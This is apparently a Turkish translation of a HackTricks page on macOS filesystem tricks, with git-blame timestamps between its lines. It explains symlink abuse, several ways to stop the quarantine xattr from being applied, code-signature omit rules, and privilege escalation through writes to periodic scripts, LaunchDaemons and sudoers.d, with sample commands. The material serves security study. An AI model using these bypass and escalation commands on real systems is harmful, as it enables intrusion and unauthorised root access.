2024-02-10 18:14:16 +00:00
# macOS FS Hileleri
2023-10-16 23:12:20 +00:00
< details >
2024-02-10 18:14:16 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan kahraman seviyesine öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Kı rmı zı Takı m Uzmanı )< / strong > < / a > < strong > !< / strong > < / summary >
2023-10-16 23:12:20 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları :
2024-01-05 11:02:33 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamı nı zı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA** ](https://github.com/sponsors/carlospolop ) göz atı n!
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
* [**PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimizden** ](https://opensea.io/collection/the-peass-family ) oluşan koleksiyonumuz
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) **katı lı n** veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )**'da takip edin**.
* **Hacking hilelerinizi** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github reposuna **PR göndererek paylaşı n** .
2023-10-16 23:12:20 +00:00
< / details >
2024-02-10 18:14:16 +00:00
## POSIX izin kombinasyonları
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
Bir **dizin** içindeki izinler:
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
* **okuma** - dizin girişlerini **listeleyebilirsiniz**
* **yazma** - dizindeki **dosyaları silme/yazma** yeteneğine sahip olursunuz ve **boş klasörleri silebilirsiniz** . 
* Ancak, **yazma izniniz olmadı kça dolu klasörleri silme/değiştirme** yeteneğiniz yoktur.
* Bir klasörün adı nı **sahip olmadı kça değiştiremezsiniz** .
* **çalı ştı rma** - dizini **gezebilmenize izin verir** - bu hakkı nı z yoksa, içindeki dosyalara veya alt dizinlere erişemezsiniz.
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
### Tehlikeli Kombinasyonlar
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
**Kök tarafı ndan sahip olunan bir dosya/klasörü nası l üzerine yazarı z**, ancak:
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
* Yolun bir üst **dizin sahibi** kullanı cı dı r
* Yolun bir üst **dizin sahibi** , **yazma erişimine sahip olan bir kullanı cı grubudur**
* Bir kullanı cı grubu, **dosyaya yazma** erişimine sahiptir
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
Yukarı daki kombinasyonlardan herhangi biriyle, saldı rgan ayrı calı klı bir keyfi yazma elde etmek için beklenen yola bir sembolik/sabit bağ enjekte edebilir.
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
### Dizin kökü R+X Özel durumu
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
Eğer bir **dizin** içinde **yalnı zca kök R+X erişimine sahipse** dosyalara **başka kimse erişemez** . Bu nedenle, bir kullanı cı nı n okuyabileceği bir dosyayı okuyamadı ğı bir **kı sı tlama** nedeniyle bu klasörden **başka bir klasöre** taşı mak için bir zafiyet, bu dosyaları okumak için kötüye kullanı labilir.
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
Örnek: [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions ](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/#nix-directory-permissions )
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
## Sembolik Bağlantı / Sabit Bağlantı
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
Eğer ayrı calı klı bir işlem, **düşük ayrı calı klı bir kullanı cı tarafı ndan kontrol edilebilen** veya daha önceden düşük ayrı calı klı bir kullanı cı tarafı ndan **oluşturulabilen** bir **dosyaya** veri yazı yorsa, kullanı cı sadece bir Sembolik veya Sabit bağlantı aracı lı ğı yla onu başka bir dosyaya yönlendirebilir ve ayrı calı klı işlem o dosyaya yazacaktı r.
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
Saldı rganı n ayrı calı kları yükseltmek için keyfi yazmayı nası l kötüye kullanabileceğini görmek için diğer bölümlere bakı n.
2023-10-23 00:13:07 +00:00
2023-12-16 13:28:14 +00:00
## .fileloc
2024-02-10 18:14:16 +00:00
**`.fileloc`** uzantı lı dosyalar, diğer uygulamalara veya ikili dosyalara işaret edebilir, böylece açı ldı kları nda uygulama/ikili dosya çalı ştı rı lı r.\
Örnek:
2023-12-16 13:28:14 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > URL< / key >
< string > file:///System/Applications/Calculator.app< / string >
< key > URLPrefix< / key >
< integer > 0< / integer >
2023-12-16 13:28:14 +00:00
< / dict >
< / plist >
```
2024-02-10 18:14:16 +00:00
## Keyfi FD
2023-12-16 13:28:14 +00:00
2024-02-10 18:14:16 +00:00
Eğer bir **işlemi yüksek ayrı calı klarla bir dosya veya klasör açmaya zorlayabilirseniz** , ** `crontab` **'ı kullanarak `/etc/sudoers.d` içindeki bir dosyayı ** `EDITOR=exploit.py` ** ile açabilirsiniz, böylece `exploit.py` `/etc/sudoers` içindeki dosyaya FD alacak ve onu kötüye kullanabilecektir.
2023-10-16 23:12:20 +00:00
2024-02-10 18:14:16 +00:00
Örneğin: [https://youtu.be/f1HA5QhLQ7Y?t=21098 ](https://youtu.be/f1HA5QhLQ7Y?t=21098 )
2023-10-17 17:40:24 +00:00
2024-02-10 18:14:16 +00:00
## Karantina xattrs hilelerinden kaçı nma
2023-11-01 18:37:47 +00:00
2024-02-10 18:14:16 +00:00
### Onu kaldı rı n
2023-11-01 18:37:47 +00:00
```bash
xattr -d com.apple.quarantine /path/to/file_or_app
```
2024-02-10 18:14:16 +00:00
### uchg / uchange / uimmutable bayrağı
2023-11-01 18:37:47 +00:00
2024-02-10 18:14:16 +00:00
Bir dosya/dizin bu değiştirilemez özelliğe sahipse üzerine bir xattr eklemek mümkün olmayacaktı r.
2023-10-17 17:40:24 +00:00
```bash
echo asd > /tmp/asd
2023-10-23 00:13:07 +00:00
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
2023-10-17 17:40:24 +00:00
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
2023-10-18 17:42:31 +00:00
ls -lO /tmp/asd
# check the "uchg" in the output
2023-10-17 17:40:24 +00:00
```
2024-02-10 18:14:16 +00:00
### defvfs bağlama
2023-10-17 17:40:24 +00:00
2024-02-10 18:14:16 +00:00
**devfs** bağlaması **xattr** desteklemez, daha fazla bilgi için [**CVE-2023-32364** ](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html ) sayfası na bakı n.
2023-10-17 17:40:24 +00:00
```bash
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
```
### writeextattr ACL
2024-02-10 18:14:16 +00:00
Bu ACL, dosyaya `xattrs` eklenmesini engeller.
2023-10-17 17:40:24 +00:00
```bash
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
cd /tmp
echo y | rm test
# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test
```
2023-10-18 17:42:31 +00:00
### **com.apple.acl.text xattr + AppleDouble**
2023-10-17 17:40:24 +00:00
2024-02-10 18:14:16 +00:00
**AppleDouble** dosya formatı , ACE'leri de içeren bir dosyanı n kopyası nı oluşturur.
2023-10-17 17:40:24 +00:00
2024-02-10 18:14:16 +00:00
[**Kaynak kodunda** ](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html ) görülebileceği gibi, ** `com.apple.acl.text` ** adlı xattr içinde depolanan ACL metin temsili, sı kı ştı rı lmı ş dosyada ACL olarak ayarlanacaktı r. Bu nedenle, ACL'yi diğer xattr'ları n yazı lması nı engelleyen bir ACL ile birlikte bir uygulamayı zip dosyası na sı kı ştı rdı ysanı z... karantina xattr uygulamaya ayarlanmamı ş olacaktı r:
2023-10-17 17:40:24 +00:00
2024-02-10 18:14:16 +00:00
Daha fazla bilgi için [**orijinal raporu** ](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/ ) kontrol edin.
2023-10-18 17:42:31 +00:00
2024-02-10 18:14:16 +00:00
Bunu çoğaltmak için önce doğru acl dizesini elde etmemiz gerekiyor:
2023-10-18 17:42:31 +00:00
```bash
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs
# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip
# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test
```
2024-02-10 18:14:16 +00:00
(Not: Bu işe yarasa bile, kum havuzu önce karantina xattr'ı yazar)
2023-10-18 17:42:31 +00:00
2024-02-10 18:14:16 +00:00
Gerçekten gerekli değil ama her ihtimale karşı burada bı rakı yorum:
2023-10-18 17:42:31 +00:00
{% content-ref url="macos-xattr-acls-extra-stuff.md" %}
[macos-xattr-acls-extra-stuff.md ](macos-xattr-acls-extra-stuff.md )
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
## Kod İmzaları nı Atlama
2023-11-01 16:24:13 +00:00
2024-02-10 18:14:16 +00:00
Bundles, ** `_CodeSignature/CodeResources` ** adlı dosyayı içerir ve bu dosya, **bundle** içindeki her bir **dosyanı n karma değerini** içerir. CodeResources'un karma değeri aynı zamanda **yürütülebilir dosyaya gömülüdür** , bu yüzden onunla oynamamı z mümkün değildir.
2023-11-01 16:24:13 +00:00
2024-02-10 18:14:16 +00:00
Ancak, bazı dosyaları n imzası kontrol edilmeyecektir, bunlar plist içinde omit anahtarı na sahiptir, örneğin:
2023-11-01 16:24:13 +00:00
```xml
< dict >
...
2024-02-10 18:14:16 +00:00
< key > rules< / key >
< dict >
2023-11-01 16:24:13 +00:00
...
2024-02-10 18:14:16 +00:00
< key > ^Resources/.*\.lproj/locversion.plist$</ key >
< dict >
< key > omit< / key >
< true / >
< key > weight< / key >
< real > 1100< / real >
< / dict >
2023-11-01 16:24:13 +00:00
...
2024-02-10 18:14:16 +00:00
< / dict >
< key > rules2< / key >
2023-11-01 16:24:13 +00:00
...
2024-02-10 18:14:16 +00:00
< key > ^(.*/)?\.DS_Store$</ key >
< dict >
< key > omit< / key >
< true / >
< key > weight< / key >
< real > 2000< / real >
< / dict >
2023-11-01 16:24:13 +00:00
...
2024-02-10 18:14:16 +00:00
< key > ^PkgInfo$< / key >
< dict >
< key > omit< / key >
< true / >
< key > weight< / key >
< real > 20< / real >
< / dict >
2023-11-01 16:24:13 +00:00
...
2024-02-10 18:14:16 +00:00
< key > ^Resources/.*\.lproj/locversion.plist$</ key >
< dict >
< key > omit< / key >
< true / >
< key > weight< / key >
< real > 1100< / real >
< / dict >
2023-11-01 16:24:13 +00:00
...
< / dict >
```
2024-02-10 18:14:16 +00:00
Aşağı daki komutu kullanarak bir kaynağı n imzası nı hesaplamak mümkündür:
2023-11-04 20:02:18 +00:00
{% code overflow="wrap" %}
```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
```
2024-02-10 18:14:16 +00:00
## Dmg'leri Bağlama
2023-11-04 20:02:18 +00:00
2024-02-10 18:14:16 +00:00
Bir kullanı cı , mevcut bazı klasörlerin üzerine bile özel içeriğe sahip bir dmg oluşturabilir. İşte özel içeriğe sahip bir dmg paketi nası l oluşturulacağı :
2023-10-23 00:13:07 +00:00
{% code overflow="wrap" %}
```bash
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt
# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null
# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file
# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null
# Next time you mount it, it will have the custom content you wrote
2023-11-01 16:42:18 +00:00
# You can also create a dmg from an app using:
2024-02-10 18:14:16 +00:00
hdiutil create -srcfolder justsome.app justsome.dmg
2023-10-23 00:13:07 +00:00
```
{% endcode %}
2024-02-10 18:14:16 +00:00
## Keyfi Yazı lar
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
### Periyodik sh betikleri
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
Eğer betiğiniz bir **shell betiği** olarak yorumlanabilirse, her gün tetiklenecek olan ** `/etc/periodic/daily/999.local` ** shell betiğini üzerine yazabilirsiniz.
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
Bu betiği şu şekilde **sahte** bir şekilde çalı ştı rabilirsiniz: ** `sudo periodic daily` **
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
### Daemonlar
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
Bir keyfi **LaunchDaemon** yazı n, örneğin ** `/Library/LaunchDaemons/xyz.hacktricks.privesc.plist` ** adı nda bir plist ile keyfi bir betik çalı ştı rı n:
2023-10-23 00:13:07 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
2024-02-10 18:14:16 +00:00
< dict >
< key > Label< / key >
< string > com.sample.Load< / string >
< key > ProgramArguments< / key >
< array >
< string > /Applications/Scripts/privesc.sh< / string >
< / array >
< key > RunAtLoad< / key >
< true / >
< / dict >
2023-10-23 00:13:07 +00:00
< / plist >
```
2024-02-10 18:14:16 +00:00
`/Applications/Scripts/privesc.sh` adlı betiği **kök olarak** çalı ştı rmak istediğiniz **komutlarla** oluşturun.
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
### Sudoers Dosyası
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
**Keyfi yazma** yeteneğiniz varsa, kendinize **sudo** ayrı calı kları veren ** `/etc/sudoers.d/` ** klasörü içinde bir dosya oluşturabilirsiniz.
2023-10-23 00:13:07 +00:00
2024-02-10 18:14:16 +00:00
### PATH Dosyaları
2023-12-11 09:39:35 +00:00
2024-02-10 18:14:16 +00:00
**`/etc/paths`** dosyası , PATH ortam değişkenini dolduran ana yerlerden biridir. Üzerine yazmak için kök kullanı cı olmanı z gerekmektedir, ancak bir **ayrı calı klı işlem** tarafı ndan **tam yol belirtilmeden** çalı ştı rı lan bir betik, bu dosyayı değiştirerek onu **ele geçirmenize** olanak sağlayabilir.
2023-12-11 09:39:35 +00:00
2024-02-10 18:14:16 +00:00
  Yeni klasörleri `PATH` ortam değişkenine yüklemek için ** `/etc/paths.d` ** klasörüne de dosya yazabilirsiniz.
2023-12-11 09:39:35 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2023-10-23 00:13:07 +00:00
* [https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/ ](https://theevilbit.github.io/posts/exploiting\_directory\_permissions\_on\_macos/ )
2023-10-16 23:12:20 +00:00
< details >
2024-02-10 18:14:16 +00:00
< summary > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > ile sı fı rdan kahraman olmak için AWS hackleme öğrenin< strong > !< / strong > < / summary >
2023-10-16 23:12:20 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları :
2024-01-05 11:02:33 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **tanı tmak** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
* Özel [**NFT'lerden** ](https://opensea.io/collection/the-peass-family ) oluşan koleksiyonumuz olan [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )'yi keşfedin
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) **katı lı n** veya **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks_live )'u **takip edin** .
* **Hacking hilelerinizi** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na **PR göndererek** paylaşı n.
2023-10-16 23:12:20 +00:00
< / details >